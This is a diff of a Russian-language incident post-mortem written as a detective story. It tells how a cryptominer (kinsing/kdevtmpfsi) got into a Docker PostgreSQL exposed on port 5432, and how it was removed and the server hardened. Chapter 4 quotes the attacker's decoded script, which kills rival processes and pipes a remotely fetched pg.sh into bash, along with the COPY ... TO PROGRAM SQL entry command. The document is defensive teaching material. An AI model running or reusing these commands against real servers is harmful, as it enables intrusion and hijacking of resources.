This list is frozen — edits and suggestions are off.
From:To:
11¶ # Дело о таинственном майнере
22
33 *Детективная история по мотивам реальных событий*
44
55 ---
66
77 ## Пролог
88
99 Всё началось с записки, какие пишут в понедельник утром:
1010
1111 > «Надо подчистить swap и как-то его увеличить, и что-то предпринять для наблюдения за ним.»
1212
1313 Обычная уборка. Полчаса работы. Никто ещё не знал, что это начало одного из самых захватывающих расследований в истории этого сервера.
1414
1515 *Имена процессов не изменены — они настоящие, и знать их в лицо полезно. Адреса, имена серверов и проектов убраны.*
1616¶ ## Глава 1. Странные симптомы
1717
1818 Детектив — он же системный администратор — включил терминал и набрал `free -h`. То, что он увидел, заставило его нахмуриться.
1919
2020 ```
2121 total used free shared buff/cache available
2222 Mem: 3.8Gi 2.8Gi 974Mi 90Mi 506Mi 1.1Gi
2323 Swap: 511Mi 511Mi 64Ki
2424 ^
2525 полностью забит
2626 ```
2727
2828 «Странно, — подумал детектив. — Swap под завязку. Надо копать глубже.»
2929
3030 Он набрал `smem -s swap -r` и стал просматривать список. Первые строки были знакомы: свои сервисы, свои процессы, всё на местах. Он прокрутил ниже — и замер.
3131
3232 ```
3333 PID USER COMMAND SWAP USS
3434 820044 70 /tmp/kinsing 472 10832
3535 832882 70 /tmp/kdevtmpfsi 0 5568
3636 834056 70 /tmp/kdevtmpfsi 0 2386144
3737 ^
3838 2.3 ГИГАБАЙТА
3939 ```
4040
4141 «Это что ещё за `kdevtmpfsi`? И `kinsing`? Процессы с такими именами не должны работать в `/tmp`. И кто этот пользователь с номером 70?»
4242
4343 Он проверил процессор:
4444
4545 ```
4646 70 834056 162% CPU /tmp/kdevtmpfsi
4747 ```
4848
4949 162 процента. Полтора ядра. Постоянно.
5050
5151 «Так вот кто съедает все ресурсы. Но кто ты и откуда пришёл, загадочный незнакомец?»
5252¶ > **На полях: почему `free -h` всегда выглядит страшно**
5353 >
5454 > Колонка `free` почти всегда близка к нулю, и это нормально: Linux отдаёт неиспользуемую память под кэш файловой системы и мгновенно освобождает её, когда она нужна приложениям. Смотреть надо на `available`, а не на `free`. Подробный разбор — [Linux ate my RAM](https://www.linuxatemyram.com/) и [устройство памяти в ядре](https://docs.kernel.org/admin-guide/mm/concepts.html).
5555 >
5656 > **И про имя.** `kdevtmpfsi` — это не случайный набор букв. В ядре Linux есть настоящий поток `kdevtmpfs`, он занимается файловой системой устройств. Одна лишняя буква на конце — и взгляд администратора скользит мимо. Расчёт именно на это.
5757¶ ## Глава 2. Первые улики
5858
5959 Детектив начал собирать улики. Команда за командой он выстраивал картину.
6060
6161 **Улика первая: где они прячутся.**
6262
6363 ```bash
6464 $ find / -name kinsing -o -name kdevtmpfsi 2>/dev/null
6565 /var/lib/docker/overlay2/266257.../diff/tmp/kinsing
6666 /var/lib/docker/overlay2/266257.../diff/tmp/kdevtmpfsi
6767 ```
6868
6969 «Они прячутся внутри контейнера! Какая хитрость.»
7070
7171 **Улика вторая: что это за файлы.**
7272
7373 ```bash
7474 -rwxrwxrwx 1 70 70 5967872 kinsing
7575 -rwx------ 1 70 70 2084964 kdevtmpfsi
7676 -rw------- 1 70 70 0 linux.lock
7777 ```
7878
7979 «Пять с половиной мегабайт и два. Плюс файл блокировки.» Детектив задумался. Файл блокировки означал одно: злоумышленник позаботился, чтобы две копии майнера не мешали друг другу. Это была не случайная поделка.
8080
8181 **Улика третья: самая неприятная.**
8282
8383 ```bash
8484 $ grep kdevtmpfsi /var/log/syslog.1
8585 2025-10-08T16:29:19 Out of memory: Killed process 223790 (kdevtmpfsi)
8686 ```
8787
8888 Детектив перечитал дату дважды.
8989
9090 «Восьмое октября. Это было пять дней назад. Сколько же времени эта тварь здесь работала?»
9191
9292 Логи показывали одно и то же снова и снова: система задыхалась от нехватки памяти, ядро убивало прожорливый процесс — а он возрождался, как феникс из пепла.
9393
9494 «Интересно... кто же тебя воскрешает?»
9595¶ > **На полях: три вещи из этой главы**
9696 >
9797 > **Что такое OOM killer.** Когда память кончается, ядро выбирает процесс с худшим счётом и убивает его, чтобы спасти систему. Это не сбой, а последняя линия обороны. Запись в логе — надёжный признак, что кто-то ест больше положенного.
9898 >
9999 > **Почему путь такой длинный.** `/var/lib/docker/overlay2/...` — это слои файловой системы контейнера. Всё, что процесс внутри записал поверх образа, оказывается здесь, на диске хоста. Как это устроено — [драйвер overlay2](https://docs.docker.com/engine/storage/drivers/overlayfs-driver/).
100100 >
101101 > **Кто такой kinsing.** Это не самоделка, а известное семейство, охотящееся именно на плохо закрытые контейнерные окружения. Технический разбор — [Threat Alert: Kinsing](https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/) от исследователей Aqua Security. Приём в целом каталогизирован как [Resource Hijacking, T1496](https://attack.mitre.org/techniques/T1496/).
102102¶ ## Глава 3. Поиск точки входа
103103
104104 Самый важный вопрос был ещё не задан: **как они сюда попали?**
105105
106106 Детектив исследовал слои Docker и по идентификатору вышел на конкретный контейнер.
107107
108108 ```bash
109109 $ docker inspect <id> | grep -E 'Name|Image'
110110 "Name": "/..._postgres",
111111 "Image": "postgres:15-alpine"
112112 ```
113113
114114 «PostgreSQL?! Как база данных может запускать вирусы?»
115115
116116 Но детектив был опытным следователем. Прежде чем строить теории, он проверил очевидное — порты.
117117
118118 ```bash
119119 $ ss -tlnp | grep 5432
120120 LISTEN 0.0.0.0:5432
121121 ^^^^^^^
122122 подключиться может кто угодно
123123 ```
124124
125125 Он смотрел на эти четыре нуля довольно долго.
126126
127127 «Эврика. Вот она, дыра.»
128128¶ > **На полях: четыре нуля, которые всё решают**
129129 >
130130 > `0.0.0.0` означает «слушать на всех сетевых интерфейсах». На домашнем ноутбуке за роутером это практически то же самое, что localhost, — снаружи всё равно не достучаться. На сервере с публичным адресом среди этих интерфейсов есть тот, который смотрит в интернет.
131131 >
132132 > Одна и та же строка, два противоположных смысла. Именно поэтому конфигурация, отлично работавшая на машине разработчика, оказалась дверью нараспашку.
133133 >
134134 > | Запись в compose | Кто может подключиться |
135135 > |---|---|
136136 > | `"5432:5432"` | весь интернет |
137137 > | `"127.0.0.1:5432:5432"` | только сам сервер |
138138 > | раздела `ports` нет | только контейнеры в той же сети |
139139 >
140140 > Документация: [раздел ports](https://docs.docker.com/reference/compose-file/services/).
141141 >
142142 > **И отдельно — про файрвол.** Мысль «у меня же стоит ufw» здесь не работает. Из [документации Docker](https://docs.docker.com/engine/network/packet-filtering-firewalls/): *«Docker routes container traffic in the `nat` table, which means that packets are diverted before it reaches the `INPUT` and `OUTPUT` chains that ufw uses.»* Пакеты уходят по назначению раньше, чем доберутся до правил ufw. Проверять надо снаружи: `nc -zv адрес 5432`.
143143¶ ## Глава 4. Реконструкция преступления
144144
145145 Детектив залез в логи самого PostgreSQL и обнаружил золото:
146146
147147 ```
148148 ERROR: program "echo IyEvYmluL2Jhc2gK... | base64 -d | bash" failed
149149 ```
150150
151151 «Base64. Посмотрим, что там спрятано.»
152152
153153 Он расшифровал строку — и увидел чужой почерк:
154154
155155 ```bash
156156 #!/bin/bash
157157 pkill -f zsvc # убить защиту
158158 pkill -f pdefenderd # убить защиту
159159 pkill -f updatecheckerd # убить защиту
160160
161161 if [ -x "$(command -v curl)" ]; then
162162 curl <адрес>/pg.sh | bash
163163 elif [ -x "$(command -v wget)" ]; then
164164 wget -q -O- <адрес>/pg.sh | bash
165165 fi
166166 ```
167167
168168 Первые три строки заставили детектива усмехнуться. Скрипт начинал работу с того, что убивал **чужих майнеров**. На взломанных серверах, оказывается, бывает тесно.
169169
170170 А дальше он нашёл саму команду входа — и это было самое интересное во всём деле:
171171
172172 ```sql
173173 COPY (SELECT '') TO PROGRAM 'echo ... | base64 -d | bash';
174174 ```
175175
176176 Обычный SQL. Никакого взлома, никакой хитрой уязвимости. Атакующий просто вежливо попросил базу данных выполнить команду — и база данных выполнила.
177177
178178 Детектив откинулся на спинку кресла и восстановил картину:
179179
180180 ```
181181 1. Бот сканирует интернет и находит открытый порт 5432
182182 |
183183 2. Подключается к базе
184184 |
185185 3. Выполняет COPY ... TO PROGRAM
186186 |
187187 4. Скачивает kinsing и kdevtmpfsi в /tmp
188188 |
189189 5. Запускает их от пользователя postgres
190190 |
191191 6. Начинает майнить Monero на чужом железе
192192 ```
193193
194194 Первая атака: 8 октября. Длительность: пять дней. Ущерб: 2.3 ГБ памяти, 162% процессора и неизвестное количество украденного электричества.
195195¶ > **На полях: почему это не считается уязвимостью**
196196 >
197197 > `COPY ... TO PROGRAM` работает ровно так, как задумано. Это штатная возможность PostgreSQL: выгрузить результат запроса не в файл, а на вход внешней программе — удобно для конвейеров обработки данных. Описание: [SQL COPY](https://www.postgresql.org/docs/current/sql-copy.html).
198198 >
199199 > Доступ к ней имеет суперпользователь и обладатели роли [`pg_execute_server_program`](https://www.postgresql.org/docs/current/predefined-roles.html). А пользователь `postgres` из стандартного образа — как раз суперпользователь.
200200 >
201201 > Отсюда вывод, который стоит запомнить накрепко: **доступ к порту базы данных равен возможности выполнять команды на сервере.** Не «прочитать таблицы» — а выполнять команды. По последствиям это то же самое, что оставить открытым SSH без пароля.
202202¶ ## Глава 5. Операция «Чистые руки»
203203
204204 Теперь, когда детектив знал всю правду, пришло время действовать.
205205
206206 **Шаг первый: ликвидация.**
207207
208208 ```bash
209209 $ kill -9 820044 834056
210210 $ rm -f /tmp/kinsing /tmp/kdevtmpfsi
211211 ```
212212
213213 Он проверил память:
214214
215215 ```
216216 Было: 3.5Gi занято (92%)
217217 Стало: 1.2Gi занято (31%)
218218
219219 Освобождено: 2.3 ГБ
220220 ```
221221
222222 **Шаг второй: закрыть дверь.** И вот здесь детектив сделал паузу, потому что это был единственный шаг, без которого всё остальное не имело смысла.
223223
224224 ```yaml
225225 # было
226226 ports: ["5432:5432"]
227227
228228 # стало
229229 ports: ["127.0.0.1:5432:5432"]
230230 ```
231231
232232 **Шаг третий: поставить наблюдение.** Сторож за памятью. Поиск подозрительных процессов по расписанию. `fail2ban` на SSH. Оповещение, если ядро снова начнёт кого-то убивать за прожорливость.
233233
234234 **Шаг четвёртый**, которого в первой версии этой истории не было, а он обязателен: **сменить все секреты**. Если кто-то пять дней выполнял команды от имени базы, он мог прочитать переменные окружения, файлы конфигурации, ключи и содержимое таблиц. Сервер вычищен — а пароли по-прежнему те же.
235235
236236 Детектив запустил `memstat` и посмотрел на экран.
237237
238238 ```
239239 Swap: 47% используется
240240 RAM: 55% используется
241241
242242 Сторож памяти: активен
243243 Поиск вредоносного: активен
244244 ```
245245
246246 «Дело закрыто, — улыбнулся он. — Но я буду наблюдать.»
247247¶ > **На полях: две ловушки этой главы**
248248 >
249249 > **Порядок важнее скорости.** Убить процесс — самое заметное действие и самое бесполезное, если дверь осталась открытой. Пока порт доступен, тот же бот вернётся через час, и появится ощущение, что заражение неизлечимо. Сначала дверь, потом уборка.
250250 >
251251 > **`restart` не меняет порты.** Проброс задаётся в момент создания контейнера. Люди правят compose, делают `docker compose restart`, видят порт на месте и решают, что правка не сработала. Нужно `docker compose up -d --force-recreate`.
252252 >
253253 > Что стоит поставить один раз и забыть: [fail2ban](https://github.com/fail2ban/fail2ban) от перебора паролей, а из общих рекомендаций по контейнерам — [OWASP Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html).
254254¶ ## Глава 6. Поиск виновника
255255
256256 Когда буря улеглась, детектив задался последним вопросом: «А кто же впустил злодеев в дом?»
257257
258258 Он открыл древний фолиант под названием Git History и начал листать страницы прошлого.
259259
260260 ```bash
261261 $ git log --all --oneline
262262 * 67a0170 (grafted) fix: bind PostgreSQL ports to localhost
263263 ^^^^^^^
264264 подозрительное слово
265265 ```
266266
267267 «Grafted? Это же обрезанная история!» — воскликнул детектив. — «Улик просто нет на диске. Надо достать остальные.»
268268
269269 ```bash
270270 $ git fetch --unshallow
271271 # получено 169 объектов из прошлого...
272272 ```
273273
274274 И тут открылась правда. Полная история файла:
275275
276276 ```
277277 67a0170 fix: bind PostgreSQL ports to localhost <- исправление
278278 4eda410 fix: add Vite environment variables
279279 c35d1c3 Add CORS environment variables
280280 3ac9988 Update Dockerfiles and configuration
281281 720d62f Initial commit <- начало
282282 ```
283283
284284 Руки дрожали от волнения, когда он набирал:
285285
286286 ```bash
287287 $ git show 720d62f:backend/docker-compose.yml | grep -A6 'image: postgres'
288288 ```
289289
290290 И вот она — улика века:
291291
292292 ```yaml
293293 postgres:
294294 image: postgres:15-alpine
295295 ports:
296296 - "5432:5432"
297297 ```
298298
299299 Самый первый коммит проекта. Тот самый, который никто никогда не читает внимательно, потому что там «просто начальная настройка».
300300
301− Детектив сверил времена:
301+ Оставалась последняя зацепка. Самая важная.
302302
303− ```
304− 8 октября, 08:07 — небезопасная конфигурация закоммичена
305− 8 октября, 16:29 — первая атака
303+ «А кто же автор этого коммита?»
304+
305+ ```bash
306+ $ git show --format="%an <%ae> — %ad" 720d62f
306307 ```
307308
308− Восемь часов.
309+ Детектив прочитал имя. Потом перечитал его ещё раз.
309310
310− «Восемь часов, — повторил он вслух. — Никто нас не искал. Просто боты круглосуточно перебирают весь интернет и стучатся во все стандартные порты подряд. Открытую дверь находят раньше, чем первый живой посетитель находит сайт.»
311+ Имя было его собственное.
312+
313+ В комнате стало очень тихо. Пять дней расследования, три отчёта, анализ вредоносного кода, раскодировка base64, раскопки в слоях Docker — и всё это затем, чтобы выйти на самого себя.
314+
315+ Лучший сыщик города долго смотрел в экран.
316+
317+ — Ну здравствуй, — сказал он наконец.
311318¶ > **На полях: инструменты этой главы**
312319 >
313320 > **`grafted`** в выводе `git log` означает, что репозиторий склонировали с `--depth 1` — распространённая настройка в системах развёртывания ради скорости. История не удалена, а просто не скачана. Проверить: `git rev-parse --is-shallow-repository`, вернуть: [`git fetch --unshallow`](https://git-scm.com/docs/git-fetch).
314321 >
315322 > **Как искать строку по всей истории.** Детектив листал вручную, но есть способ быстрее:
316323 >
317324 > ```bash
318325 > git log -S'5432:5432' --format='%h %ad %an %s' --date=short
319326 > ```
320327 >
321328 > Флаг `-S` (в документации его называют pickaxe, «кирка») находит коммиты, где число вхождений строки изменилось — то есть где она появилась или исчезла. Есть ещё `-G`: он ищет по регулярному выражению во всём тексте изменений, включая простые перемещения строк. Для вопроса «когда это появилось» нужен именно `-S`. Подробности — [git log](https://git-scm.com/docs/git-log).
322329¶ ## Разгадка
323330
324− Детектив составил психологический портрет преступления и обнаружил, что оно скучнее, чем казалось.
331+ Составлять психологический портрет преступника оказалось неловко: детектив слишком хорошо знал подозреваемого.
325332
326333 Мотива не было. Злого умысла не было. Была конфигурация из раздела «быстрый старт» — той самой, что пишут под «запусти у себя и посмотри, как работает». Порты наружу, чтобы можно было подключиться клиентом. Пароль попроще. Никаких ограничений. Для своей задачи такой пример абсолютно правилен.
327334
328335 А потом его развернули на публичном сервере. Без единого изменения.
329336
330− «Классическое „у меня работает“», — записал детектив.
337+ «Классическое „у меня работает“», — записал детектив и ненадолго задумался о том, как объективно расследовать дело, где ты сам и следователь, и подозреваемый, и потерпевший.
331338
332− Здесь очень легко скатиться в поиск виноватого. В первом варианте отчёта по этому делу даже была разбивка ответственности в процентах — семьдесят на тридцать. Детектив перечитал её и вычеркнул.
339+ Соблазн был велик. В первом варианте отчёта появилась даже разбивка ответственности в процентах — семьдесят на тридцать, в собственную пользу. Перечитав этот абзац на свежую голову, детектив его вычеркнул.
333340
334− Потому что вопрос «кто это написал» не меняет ровным счётом ничего. А вот другой вопрос меняет:
341+ Потому что вопрос «кто это написал» не меняет ровным счётом ничего — особенно когда ответ известен заранее. А вот другой вопрос меняет:
335342
336343 **Почему эта строка доехала до боевого сервера, ни во что не упершись?**
337344
338345 Ни ревью. Ни проверка при сборке. Ни чеклист перед выкаткой. Значит, не было ни одного из трёх.
339346
340347 И ответ на этот вопрос помещается в одну строку:
341348
342349 ```bash
343350 grep -nE '^\s*-\s*"?[0-9]+:(5432|6379|3306|27017)"?' docker-compose.yml && exit 1
344351 ```
345352
346353 Она проверяет каждую выкатку, работает по выходным и никогда не устаёт. В отличие от внимания.
347354¶ > **На полях: почему разбор без виноватых работает лучше**
348355 >
349356 > Идея не в мягкости, а в статистике: наказанный человек больше не повторит эту ошибку, но её повторит кто-то другой, кто о разборе не слышал. Зато у названного виноватым появляется стимул в следующий раз промолчать о странности — и следующий инцидент найдут позже.
350357 >
351358 > Классический текст на эту тему — глава [Postmortem Culture](https://sre.google/sre-book/postmortem-culture/) из книги Google о надёжности систем.
352359 >
353360 > **Что можно поставить в конвейер за один вечер:**
354361 >
355362 > - [Trivy](https://trivy.dev/) — ищет известные уязвимости в образах;
356363 > - [Hadolint](https://github.com/hadolint/hadolint) — линтер для Dockerfile;
357364 > - [Docker Bench Security](https://github.com/docker/docker-bench-security) — проверка настроек хоста по общепринятым требованиям.
358365 >
359366 > Все трое в первый запуск дадут много шума. Это нормально: разбирается критичное, остальное уходит в задачи.
360367¶ ## Эпилог
361368
362369 Детектив закрыл ноутбук.
363370
364− Виновник найден: строка в конфигурации.
371+ Виновник найден — и находился всё это время в комнате.
365372 Мотив установлен: пример из документации, принятый за готовое решение.
366373 Улики сохранены: в истории git навсегда.
367374
368375 Система защищена: порт закрыт, секреты сменены, сторож дежурит, оповещения настроены.
369376
370− «Но самое главное, — подумал он, глядя в окно, — это то, что мы теперь знаем. Лучшая защита — это знания.»
377+ «Самое неприятное в этой работе, — подумал он, глядя в окно, — что преступник почти всегда оказывается тобой месяц назад. Зато лучшая защита — это знания. И теперь они есть.»
371378
372379 ---
373380
374381 ### Мораль
375382
376383 1. Порты баз данных не публикуются наружу. Ни 5432, ни 6379, ни 3306, ни 27017.
377384 2. Пример из документации — не конфигурация для боя. Между ними всегда есть работа.
378385 3. Файрвол не закроет то, что опубликовал Docker. Проверяй снаружи.
379386 4. Сигнал обычно уже есть. Пять дней потеряли не потому, что система молчала, а потому, что её никто не слушал.
380387 5. После взлома меняются все секреты. Иначе второй визит будет тише первого.
381− 6. Вывод из инцидента — это строка кода, а не фамилия.
388+ 6. Вывод из инцидента — это строка кода, а не фамилия. Даже если фамилия твоя.
382389
383390 ---
384391
385392 *«В мире Docker нет мелочей. Каждый проброшенный порт — это дверь. И каждая дверь должна быть закрыта на замок.»*
386393
387394 **Дело закрыто.**